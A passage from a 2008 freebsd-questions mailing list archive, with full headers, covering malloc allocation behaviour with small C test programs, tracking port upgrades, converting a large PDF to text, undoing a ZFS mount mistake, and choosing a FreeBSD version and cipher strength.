malloc(3) to prefer either sbrk() or mmap() by setting the 'D' and 'M' malloc options. The following program prints different initial allocation results when these two malloc() options are configured differently: % cat -n foo.c 1 #include 2 #include 3 4 int 5 main(void) 6 { 7 char *p; 8 9 p = malloc(1); 10 if (p == NULL) 11 return EXIT_FAILURE; 12 13 printf("%p\n", malloc(1)); 14 free(p); 15 return EXIT_SUCCESS; 16 } % For example: % env MALLOC_OPTIONS='Dm' ./foo 0x8101102 % env MALLOC_OPTIONS='dM' ./foo 0x28201102 % More details about the 'D', 'M' and other malloc() options should be available in the manpage for your release. - Giorgos From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 22:57:24 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 42F181065676 for ; Mon, 1 Dec 2008 22:57:24 +0000 (UTC) (envelope-from cwhiteh@onetel.com) Received: from smtp1.betherenow.co.uk (smtp1.betherenow.co.uk [87.194.0.68]) by mx1.freebsd.org (Postfix) with SMTP id D469F8FC0A for ; Mon, 1 Dec 2008 22:57:23 +0000 (UTC) (envelope-from cwhiteh@onetel.com) Received: from [192.168.1.71] (93-97-24-219.zone5.bethere.co.uk [93.97.24.219]) by smtp1.betherenow.co.uk (Postfix) with ESMTP id 0286D9804C; Mon, 1 Dec 2008 22:57:21 +0000 (GMT) Message-ID: <49346BD1.3070704@onetel.com> Date: Mon, 01 Dec 2008 22:57:21 +0000 From: Chris Whitehouse User-Agent: Thunderbird 2.0.0.7pre (X11/20081125) MIME-Version: 1.0 To: Robert Huff References: <20081201151249.GA5103@aurora.oekb.co.at> <20081201171748.1c9b5718@gumby.homeunix.com> <18740.7708.896663.777313@jerusalem.litteratus.org> In-Reply-To: <18740.7708.896663.777313@jerusalem.litteratus.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: RW , freebsd-questions@freebsd.org Subject: Re: Date/time installed ports have been updated on a system? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 22:57:24 -0000 Robert Huff wrote: > RW writes: > >> > Is there any way to determine when upgrades to installed ports have >> > been done on a system? I did a "portupgrade -arR" recently and want to >> > know which ports have been upgraded in that process (and no I didn't >> > run that portupgrade under "script"...) >> >> pkg_glob(1) can show package installed before or after either a time >> or a particular port. > > One can also send the output to a file, and grep your chosen > ports or use "tail -f". > I do not recommend doing this with "portupgrade -a" unless you > know the list will be fairly short. (Imagine rebuilding OpenOffice, > KDE, Java, FireFox, ....) > For future upgrades, portmanager (ports-mgmt/portmanager) will log if you tell it to, alternatively you can make it tell you what ports need updating and why, without actually upgrading anything. chris From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 22:57:29 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id BB41E1065670 for ; Mon, 1 Dec 2008 22:57:29 +0000 (UTC) (envelope-from yuri@rawbw.com) Received: from shell.rawbw.com (shell.rawbw.com [198.144.192.42]) by mx1.freebsd.org (Postfix) with ESMTP id 93D288FC13 for ; Mon, 1 Dec 2008 22:57:29 +0000 (UTC) (envelope-from yuri@rawbw.com) Received: from eagle.syrec.org (c-67-188-126-36.hsd1.ca.comcast.net [67.188.126.36]) (authenticated bits=0) by shell.rawbw.com (8.13.6/8.13.6) with ESMTP id mB1MvPhQ042985; Mon, 1 Dec 2008 14:57:25 -0800 (PST) Message-ID: <49346BD3.5080506@rawbw.com> Date: Mon, 01 Dec 2008 14:57:23 -0800 From: Yuri User-Agent: Thunderbird 2.0.0.18 (X11/20081127) MIME-Version: 1.0 To: Giorgos Keramidas References: <49345710.9070403@rawbw.com> <874p1njz3l.fsf@kobe.laptop> In-Reply-To: <874p1njz3l.fsf@kobe.laptop> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: Why process memory starts so high up in virtual space with FreeBSD malloc? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: yuri@rawbw.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 22:57:29 -0000 Giorgos Keramidas wrote: > The FreeBSD malloc(3) implementation can use either mmap() or sbrk() to > obtain memory from the system. It does not 'waste a high percentage of > memory' but it simply maps only high addresses (with an unmapped 'hole' > in lower addresses). > But the hole it leaves with MALLOC_OPTIONS='dM' is way larger than the one left by 'Dm' option. Usually malloc will keep allocating addresses higher than this initial value and will never come back and fill some parts of this gap. Therefore "wasting" this space. Yuri From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 23:14:47 2008 Return-Path: Delivered-To: freebsd-questions@FreeBSD.ORG Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id CEB941065675 for ; Mon, 1 Dec 2008 23:14:47 +0000 (UTC) (envelope-from kline@thought.org) Received: from aristotle.thought.org (ns1.thought.org [209.180.213.210]) by mx1.freebsd.org (Postfix) with ESMTP id 7DECB8FC0A for ; Mon, 1 Dec 2008 23:14:47 +0000 (UTC) (envelope-from kline@thought.org) Received: from thought.org (tao.thought.org [10.47.0.250]) (authenticated bits=0) by aristotle.thought.org (8.14.2/8.14.2) with ESMTP id mB1NFFTW057364 for ; Mon, 1 Dec 2008 15:15:15 -0800 (PST) (envelope-from kline@thought.org) Received: by thought.org (nbSMTP-1.00) for uid 1002 kline@thought.org; Mon, 1 Dec 2008 15:14:43 -0800 (PST) Date: Mon, 1 Dec 2008 15:14:43 -0800 From: Gary Kline To: FreeBSD Mailing List Message-ID: <20081201231440.GA30682@thought.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.3i X-Organization: Thought Unlimited. Public service Unix since 1986. X-Of_Interest: With 22 years of service to the Unix community. X-Spam-Status: No, score=-4.4 required=3.6 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.2.3 X-Spam-Checker-Version: SpamAssassin 3.2.3 (2007-08-08) on aristotle.thought.org Cc: Subject: any way to turn a pdf file into something OCR-able? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 23:14:47 -0000 Guys, pdftotext fail on the large [32MB] file I've got. Is there any other way I can translate this huge textfile to ascii or html or text? thanks, gary -- Gary Kline kline@thought.org http://www.thought.org Public Service Unix http://jottings.thought.org http://transfinite.thought.org From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 23:38:03 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id AB021106564A for ; Mon, 1 Dec 2008 23:38:02 +0000 (UTC) (envelope-from dan@dan.emsphone.com) Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by mx1.freebsd.org (Postfix) with ESMTP id 71A058FC08 for ; Mon, 1 Dec 2008 23:38:02 +0000 (UTC) (envelope-from dan@dan.emsphone.com) Received: from dan.emsphone.com (smmsp@localhost [127.0.0.1]) by dan.emsphone.com (8.14.3/8.14.3) with ESMTP id mB1Nc0iq009842 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 1 Dec 2008 17:38:00 -0600 (CST) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.14.3/8.14.3/Submit) id mB1NbwJN009837; Mon, 1 Dec 2008 17:37:58 -0600 (CST) (envelope-from dan) Date: Mon, 1 Dec 2008 17:37:58 -0600 From: Dan Nelson To: Yuri Message-ID: <20081201233758.GD53570@dan.emsphone.com> References: <49345710.9070403@rawbw.com> <874p1njz3l.fsf@kobe.laptop> <49346BD3.5080506@rawbw.com> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="qDbXVdCdHGoSgWSk" Content-Disposition: inline In-Reply-To: <49346BD3.5080506@rawbw.com> X-OS: FreeBSD 7.1-PRERELEASE User-Agent: Mutt/1.5.18 (2008-05-17) X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Giorgos Keramidas , freebsd-questions@freebsd.org Subject: Re: Why process memory starts so high up in virtual space with FreeBSD malloc? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 23:38:03 -0000 --qDbXVdCdHGoSgWSk Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In the last episode (Dec 01), Yuri said: > Giorgos Keramidas wrote: > > The FreeBSD malloc(3) implementation can use either mmap() or > > sbrk() to obtain memory from the system. It does not 'waste a high > > percentage of memory' but it simply maps only high addresses (with > > an unmapped 'hole' in lower addresses). > > But the hole it leaves with MALLOC_OPTIONS='dM' is way larger than > the one left by 'Dm' option. Usually malloc will keep allocating > addresses higher than this initial value and will never come back and > fill some parts of this gap. Therefore "wasting" this space. Have you actually verified that space is wasted? Note that the default for malloc is "DM", which lets malloc use both break- and mmap-based memory. Depending on the libc version, one or the other will be preferred, but both will be used if necessary. Also, unless you have tuned your kernel, you may only be able to allocate 512MB of memory via break() (the kern.maxdsize tunable lets you adjust this). Here's what I get with a simple test program on a month-old 7.1-PRE (before the preference got switched to mmap): $ MALLOC_OPTIONS=Dm ./malloctest Malloced 535822336 bytes. First: 0x8080000, Last: 0x27e80000 $ MALLOC_OPTIONS=dM ./malloctest Malloced 2542796800 bytes. First: 0x28200000, Last: 0xbfa00000 $ MALLOC_OPTIONS=DM ./malloctest Malloced 3078619136 bytes. First: 0x8080000, Last: 0xbfa00000 $ ./malloctest Malloced 3078619136 bytes. First: 0x8080000, Last: 0xbfa00000 So using only break(), I can allocate 511 MB. Using only mmap(), I can allocate 2.36 GB. Using both (the default) I can allocate 2.86 GB. -- Dan Nelson dnelson@allantgroup.com --qDbXVdCdHGoSgWSk-- From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 23:43:16 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6098C1065670 for ; Mon, 1 Dec 2008 23:43:16 +0000 (UTC) (envelope-from dan@dan.emsphone.com) Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by mx1.freebsd.org (Postfix) with ESMTP id 259068FC0A for ; Mon, 1 Dec 2008 23:43:15 +0000 (UTC) (envelope-from dan@dan.emsphone.com) Received: from dan.emsphone.com (smmsp@localhost [127.0.0.1]) by dan.emsphone.com (8.14.3/8.14.3) with ESMTP id mB1NhFgp021884 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 1 Dec 2008 17:43:15 -0600 (CST) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.14.3/8.14.3/Submit) id mB1NhD5l021868; Mon, 1 Dec 2008 17:43:13 -0600 (CST) (envelope-from dan) Date: Mon, 1 Dec 2008 17:43:12 -0600 From: Dan Nelson To: Yuri Message-ID: <20081201234311.GE53570@dan.emsphone.com> References: <49345710.9070403@rawbw.com> <874p1njz3l.fsf@kobe.laptop> <49346BD3.5080506@rawbw.com> <20081201233758.GD53570@dan.emsphone.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20081201233758.GD53570@dan.emsphone.com> X-OS: FreeBSD 7.1-PRERELEASE User-Agent: Mutt/1.5.18 (2008-05-17) Cc: Giorgos Keramidas , freebsd-questions@freebsd.org Subject: Re: Why process memory starts so high up in virtual space with FreeBSD malloc? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 23:43:16 -0000 In the last episode (Dec 01), Dan Nelson said: > Here's what I get with a simple test program on a month-old 7.1-PRE Gah. silly mailing-list attachment stripper. #include #include int main(void) { size_t malloced = 0; size_t chunksize = 1024*1024; void *first = NULL; void *last = NULL; void *ptr; while ((ptr = malloc(chunksize)) != NULL) { if (first == NULL) first = ptr; last = ptr; malloced += chunksize; } printf("Malloced %zu bytes. First: %p, Last: %p\n", malloced, first, last); exit(0); } -- Dan Nelson dnelson@allantgroup.com From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 01:02:36 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9A43E1065672 for ; Tue, 2 Dec 2008 01:02:36 +0000 (UTC) (envelope-from fatalis.erratum@gmail.com) Received: from yx-out-2324.google.com (yx-out-2324.google.com [74.125.44.29]) by mx1.freebsd.org (Postfix) with ESMTP id 5945D8FC13 for ; Tue, 2 Dec 2008 01:02:36 +0000 (UTC) (envelope-from fatalis.erratum@gmail.com) Received: by yx-out-2324.google.com with SMTP id 8so1102890yxb.13 for ; Mon, 01 Dec 2008 17:02:35 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:sender :to:subject:mime-version:content-type:content-transfer-encoding :content-disposition:x-google-sender-auth; bh=oOu4bdlLh58QUKec8sB97L9qCm4U+KU8jFGIRuQNDDA=; b=syKZToTSmgFVsu04aPCo22/S3+9pEbCZuf2FYCLLkCBzshrP0YHFyblCRljwu+jehu xUq4fxZV4HcmDoNbqe3j6PVJy9E6ihbE4Ji1jUeu0b6r0q28GHUaEfsN5Gfmv3w93cCr ed1bwSqQ8XaPN7H+ClFdMtED8cy5YuolUWPv4= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:sender:to:subject:mime-version:content-type :content-transfer-encoding:content-disposition:x-google-sender-auth; b=ed6Rmz4R0Z/3/cQ/D/dBa5riDFNwupV5MMPJmA1Zsg7LDJ9JHHHn3ftc6+Qz4tCXOV isnJpdZl3oFWHfVWj66wTVUTPGtmWaHoYhquN8yiF9dIOsZQC4sgJZRRorq5GUg9rtQ8 t3bn4w1d5I0DXJsenPQY3h2/lHi/ocAuG787Y= Received: by 10.64.185.18 with SMTP id i18mr12238592qbf.81.1228178176082; Mon, 01 Dec 2008 16:36:16 -0800 (PST) Received: by 10.64.233.2 with HTTP; Mon, 1 Dec 2008 16:36:16 -0800 (PST) Message-ID: <5b826e210812011636l71dc6d05n25a14acdd24b396d@mail.gmail.com> Date: Tue, 2 Dec 2008 02:36:16 +0200 From: "Reinis Ivanovs" Sender: fatalis.erratum@gmail.com To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Google-Sender-Auth: 12a072d9ff3b72f3 Subject: Reversing a ZFS mistake X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 01:02:36 -0000 Hello, It seems I've made a mistake using ZFS, and now my /usr/local/ is empty. I wanted to create a snapshot of a directory inside of it, so I ran "zfs create tank/usr/local" and "zfs create tank/usr/local/www" as I had seen in the guides I'd been using. That worked, but the filesystems created were empty. As I found out later, doing what I did on Solaris would have created the filesystems but not mounted them, but on FreeBSD they were mounted automatically, and the previous contents hidden. The question now is, how do I get my files back? The system is crippled without /usr/local/ and I can't unmount or destroy it, because it says that the device is busy. Any help would be appreciated. R. -- http://untu.ms/ From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 01:07:33 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 634A6106564A for ; Tue, 2 Dec 2008 01:07:33 +0000 (UTC) (envelope-from rsmith@xs4all.nl) Received: from smtp-vbr9.xs4all.nl (smtp-vbr9.xs4all.nl [194.109.24.29]) by mx1.freebsd.org (Postfix) with ESMTP id 0415B8FC1A for ; Tue, 2 Dec 2008 01:07:32 +0000 (UTC) (envelope-from rsmith@xs4all.nl) Received: from slackbox.xs4all.nl (slackbox.xs4all.nl [213.84.242.160]) by smtp-vbr9.xs4all.nl (8.13.8/8.13.8) with ESMTP id mB217UTK064261; Tue, 2 Dec 2008 02:07:31 +0100 (CET) (envelope-from rsmith@xs4all.nl) Received: by slackbox.xs4all.nl (Postfix, from userid 1001) id 673DBBA8A; Tue, 2 Dec 2008 02:07:30 +0100 (CET) Date: Tue, 2 Dec 2008 02:07:30 +0100 From: Roland Smith To: Gary Kline Message-ID: <20081202010730.GA15970@slackbox.xs4all.nl> References: <20081201231440.GA30682@thought.org> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="82I3+IH0IqGh5yIs" Content-Disposition: inline In-Reply-To: <20081201231440.GA30682@thought.org> X-GPG-Fingerprint: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 X-GPG-Key: http://www.xs4all.nl/~rsmith/pubkey.txt X-GPG-Notice: If this message is not signed, don't assume I sent it! User-Agent: Mutt/1.5.18 (2008-05-17) X-Virus-Scanned: by XS4ALL Virus Scanner Cc: FreeBSD Mailing List Subject: Re: any way to turn a pdf file into something OCR-able? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 01:07:33 -0000 --82I3+IH0IqGh5yIs Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Dec 01, 2008 at 03:14:43PM -0800, Gary Kline wrote: > pdftotext fail on the large [32MB] file I've got. Is there any > other way I can translate this huge textfile to ascii or html or > text? Please define "fail" in this context? I've used pdftotxt on documents exceeding 40MB. However there are of course things that don't work; 1) Some PDFs are just wrappers around JPEG images. In this case there is no text for pdftotext to convert =3D> epic fail. 2) If the text contains ligatures etc. you should use the proper encoding that contains such characters (e.g. '-enc UTF-8') or you will loose them. 3) Things like equations will not render well, if at all. This also depends on the encoding. Roland --=20 R.F.Smith http://www.xs4all.nl/~rsmith/ [plain text _non-HTML_ PGP/GnuPG encrypted/signed email much appreciated] pgp: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 (KeyID: C321A725) --82I3+IH0IqGh5yIs Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (FreeBSD) iEYEARECAAYFAkk0ilIACgkQEnfvsMMhpyX9GwCgljxePhLFAy/thtzNiyTbvHeM nhMAn34OELIwnwlX7OqyRa4rEg46fVG4 =1x24 -----END PGP SIGNATURE----- --82I3+IH0IqGh5yIs-- From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 01:23:15 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 279DC10656D5 for ; Tue, 2 Dec 2008 01:23:15 +0000 (UTC) (envelope-from roberthuff@rcn.com) Received: from smtp02.lnh.mail.rcn.net (smtp02.lnh.mail.rcn.net [207.172.157.102]) by mx1.freebsd.org (Postfix) with ESMTP id DB7038FC18 for ; Tue, 2 Dec 2008 01:23:14 +0000 (UTC) (envelope-from roberthuff@rcn.com) Received: from mr08.lnh.mail.rcn.net ([207.172.157.28]) by smtp02.lnh.mail.rcn.net with ESMTP; 01 Dec 2008 20:23:14 -0500 Received: from smtp01.lnh.mail.rcn.net (smtp01.lnh.mail.rcn.net [207.172.4.11]) by mr08.lnh.mail.rcn.net (MOS 3.10.3-GA) with ESMTP id KME32860; Mon, 1 Dec 2008 20:23:13 -0500 (EST) Received: from unknown (HELO jerusalem.litteratus.org.litteratus.org) ([209.6.22.188]) by smtp01.lnh.mail.rcn.net with ESMTP; 01 Dec 2008 20:23:09 -0500 From: Robert Huff MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <18740.36349.523718.591189@jerusalem.litteratus.org> Date: Mon, 1 Dec 2008 20:23:09 -0500 To: FreeBSD Mailing List In-Reply-To: <20081202010730.GA15970@slackbox.xs4all.nl> References: <20081201231440.GA30682@thought.org> <20081202010730.GA15970@slackbox.xs4all.nl> X-Mailer: VM 7.17 under 21.5 (beta28) "fuki" XEmacs Lucid X-Junkmail-Whitelist: YES (by domain whitelist at mr08.lnh.mail.rcn.net) Subject: Re: any way to turn a pdf file into something OCR-able? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 01:23:15 -0000 Roland Smith writes: > > pdftotext fail on the large [32MB] file I've got. Is there any > > other way I can translate this huge textfile to ascii or html or > > text? > > Please define "fail" in this context? I've used pdftotxt on > documents exceeding 40MB. However there are of course things that > don't work; > > 1) Some PDFs are just wrappers around JPEG images. In this case > there is no text for pdftotext to convert => epic fail. In this case "convert" from the ImageMagick port will get you a series of .jpg/.gif/.. Read the manual carefully before attempting; also note this can be a slow process. Robert Huff From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 01:48:51 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E546A1065670 for ; Tue, 2 Dec 2008 01:48:51 +0000 (UTC) (envelope-from dan@dan.emsphone.com) Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by mx1.freebsd.org (Postfix) with ESMTP id B2A8A8FC19 for ; Tue, 2 Dec 2008 01:48:51 +0000 (UTC) (envelope-from dan@dan.emsphone.com) Received: from dan.emsphone.com (smmsp@localhost [127.0.0.1]) by dan.emsphone.com (8.14.3/8.14.3) with ESMTP id mB21mod1017901 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 1 Dec 2008 19:48:51 -0600 (CST) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.14.3/8.14.3/Submit) id mB21mnqT017900; Mon, 1 Dec 2008 19:48:49 -0600 (CST) (envelope-from dan) Date: Mon, 1 Dec 2008 19:48:49 -0600 From: Dan Nelson To: Reinis Ivanovs Message-ID: <20081202014849.GA22076@dan.emsphone.com> References: <5b826e210812011636l71dc6d05n25a14acdd24b396d@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5b826e210812011636l71dc6d05n25a14acdd24b396d@mail.gmail.com> X-OS: FreeBSD 7.1-PRERELEASE User-Agent: Mutt/1.5.18 (2008-05-17) Cc: freebsd-questions@freebsd.org Subject: Re: Reversing a ZFS mistake X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 01:48:52 -0000 In the last episode (Dec 02), Reinis Ivanovs said: > It seems I've made a mistake using ZFS, and now my /usr/local/ is > empty. I wanted to create a snapshot of a directory inside of it, so > I ran "zfs create tank/usr/local" and "zfs create tank/usr/local/www" > as I had seen in the guides I'd been using. That worked, but the > filesystems created were empty. As I found out later, doing what I > did on Solaris would have created the filesystems but not mounted > them, but on FreeBSD they were mounted automatically, and the > previous contents hidden. The question now is, how do I get my files > back? The system is crippled without /usr/local/ and I can't unmount > or destroy it, because it says that the device is busy. Any help > would be appreciated. Solaris should have automatically mounted them too, unless you had "zfs set" canmount=noauto or mountpoint=legacy on an upper filesystem. If you intend to copy/move the existing contents into these new filesystems, you can just umount them and manually mount them somewhere else ( mount -t zfs tank/usr/local /tmp/local ) while you do the copy, then remount them in their final locations. umount -f should let you force-dismount them even if processes have open filehandles on them. If it doesn't, run "fstat -f /usr/local" and kill any processes that show up, then try umounting again. -- Dan Nelson dnelson@allantgroup.com From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 02:09:01 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C0B5B106564A for ; Tue, 2 Dec 2008 02:09:01 +0000 (UTC) (envelope-from rock_on_the_web@comcen.com.au) Received: from mail.unitedinsong.com.au (202-172-126-254.cpe.qld-1.comcen.com.au [202.172.126.254]) by mx1.freebsd.org (Postfix) with ESMTP id 818138FC1C for ; Tue, 2 Dec 2008 02:09:01 +0000 (UTC) (envelope-from rock_on_the_web@comcen.com.au) Received: from [192.168.0.175] (unknown [192.168.0.175]) by mail.unitedinsong.com.au (Postfix) with ESMTP id 684614065 for ; Tue, 2 Dec 2008 08:44:12 +1000 (EST) From: Da Rock To: freebsd-questions@freebsd.org In-Reply-To: <20081201142212.5cddd312@gumby.homeunix.com> References: <002701c9538a$10ff0330$005bfb48@harryveltman> <20081201142212.5cddd312@gumby.homeunix.com> Content-Type: text/plain Date: Tue, 02 Dec 2008 08:44:22 +1000 Message-Id: <1228171462.4523.0.camel@laptop1.herveybayaustralia.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.12.3 (2.12.3-5.fc8) Content-Transfer-Encoding: 7bit Subject: Re: Which FreeBSD is best for my PC? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 02:09:01 -0000 On Mon, 2008-12-01 at 14:22 +0000, RW wrote: > On Sun, 30 Nov 2008 23:54:38 -0800 > "Harry Veltman" wrote: > > > Which version and GUI will work best on the internet with my AT > > Pentium II 350MHz x86-based PC? Some web sites require Flash Player > > 8 or higher, > > If flash is important to you then I'd suggest you run windows firefox > under wine. Native Adobe Flash support is apparently working again in > 7.1, but it's only just been restored as being broken for years. And by > all accounts the linux flash-plugin isn't perfect even in Linux. > > > and some require 128-bit encryption I think, but doesn't > > 40-bit encryption process data 3 times faster? How many bit > > encryption is the various versions of FreeBSD? Thanks. > > All the supported versions of FreeBSD should have a wide range of > ciphers available on browsers. IMO it's not really worth using > ciphers below 128 bits. 128 bit is probably safe from the NSA, 40 > bits could easily be broken on a pc. Are you sure about the NSA part? :P From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 02:24:02 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3B5971065678 for ; Tue, 2 Dec 2008 02:24:02 +0000 (UTC) (envelope-from rock_on_the_web@comcen.com.au) Received: from mail.unitedinsong.com.au (202-172-126-254.cpe.qld-1.comcen.com.au [202.172.126.254]) by mx1.freebsd.org (Postfix) with ESMTP id 007078FC1C for ; Tue, 2 Dec 2008 02:24:01 +0000 (UTC) (envelope-from rock_on_the_web@comcen.com.au) Received: from [192.168.0.175] (unknown [192.168.0.175]) by mail.unitedinsong.com.au (Postfix) with ESMTP id 9EC624094 for ; Tue, 2 Dec 2008 08:45:00 +1000 (EST) From: Da Rock To: freebsd-questions@freebsd.org In-Reply-To: <20081201154132.Q10288@wojtek.tensor.gdynia.pl> References: <002701c9538a$10ff0330$005bfb48@harryveltman> <20081201142212.5cddd312@gumby.homeunix.com> <20081201154132.Q10288@wojtek.tensor.gdynia.pl> Content-Type: text/plain Date: Tue, 02 Dec 2008 08:45:11 +1000 Message-Id: <1228171511.4523.2.camel@laptop1.herveybayaustralia.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.12.3 (2.12.3-5.fc8) Content-Transfer-Encoding: 7bit Subject: Re: Which FreeBSD is best for my PC? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 02:24:02 -0000 On Mon, 2008-12-01 at 15:42 +0100, Wojciech Puchar wrote: > > If flash is important to you then I'd suggest you run windows firefox > > under wine. Native Adobe Flash support is apparently working again in > > isn't better to run windows ? That'd be debatable, wouldn't it? From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 02:25:14 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3134E1065676 for ; Tue, 2 Dec 2008 02:25:14 +0000 